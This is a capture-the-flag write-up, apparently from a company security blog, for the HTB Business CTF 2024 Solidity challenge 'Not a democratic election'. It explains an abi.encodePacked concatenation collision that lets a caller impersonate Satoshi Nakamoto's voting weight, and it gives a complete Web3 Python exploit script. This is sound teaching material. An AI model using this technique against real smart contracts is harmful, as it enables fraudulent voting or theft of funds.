Hello everyone, today I’d like to show you how we exploited the Not a democratic election challenge from HTB Business CTF 2024.
This challenge is of type Blockchain and is based on Solidity Smart Contracts for Ethereum.
Since the official exploit uses Foundry, and I couldn’t run Foundry on my workstation, I’d like to report another way to do it with Web3 Python library.
The challenge description explains that there’s an election between 2 parties – ALF (Automata Liberation Front) and CIM (Cyborgs Independence Movement). To solve it we must make the CIM party win the election. Every vote’s weight changes in relation to how much the voter can pay. Of course, we do not have enough ETH to make the CIM party win. The whole challenge is based on the exploit of the deployed smart contract vulnerability that allows us to vote with the weight of another user. In this specific case, we must impersonate a user who has an enormous amount of deposited ETH: Satoshi Nakamoto.
The smart contract provides 2 public functions:
As you can see, both the depositVoteCollateral
and vote
functions uses the getVoterSig
to identify the voter’s weight. The getVoterSig
function uses the abi.encodedPacked
Solidity API encoder that just concatenates the 2 params _name
and _surname
. In this way we can evade the check that keeps one voter from impersonating another voter by passing some name and surname strings that once concatenated from the getVoterSig
form the signature of Satoshi Nakamoto (SatoshiNakamoto
).
The following code exploits this vulnerability to make the CIM party win the election:
#!/usr/bin/env python3
from web3 import Web3
from eth_account import Account
w3 = Web3(Web3.HTTPProvider("http://<IP>:<PORT>"))
abi = """<ABI>"""
address = "<ADDRESS>"
private_key = "<PRIVATE_KEY>"
target_contract = "<TARGET_CONTRACT>"
name = "Satosh"
surname = "iNakamoto"
contract_instance = w3.eth.contract(address=target_contract, abi=abi)
account = Account.from_key(private_key)
cim = bytes("CIM", "utf-8")
call_function = contract_instance.functions.depositVoteCollateral(
name, surname
).build_transaction({"from": address, "nonce": 0, "value": 1})
signed_tx = w3.eth.account.sign_transaction(call_function, private_key=private_key)
send_tx = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(send_tx)
for i in range(1, 12):
call_function = contract_instance.functions.vote(
cim, name, surname
).build_transaction({"from": address, "nonce": i})
signed_tx = w3.eth.account.sign_transaction(call_function, private_key=private_key)
send_tx = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
tx_receipt = w3.eth.wait_for_transaction_receipt(send_tx)
Please note that the IP, the PORT, as long as all the other <PLACEHOLDERS> are given beforehand with the challenge instance container. The script to set it up can be found here. Only the ABI string must be extracted from the smart contract NotADemocraticElection.sol
script. Here you can find multiple ways to do it.
Did you learn from this article? Perhaps you’re already familiar with some of the techniques above? If you find cybersecurity issues interesting, maybe you could start in a cybersecurity or similar position here at Würth Phoenix.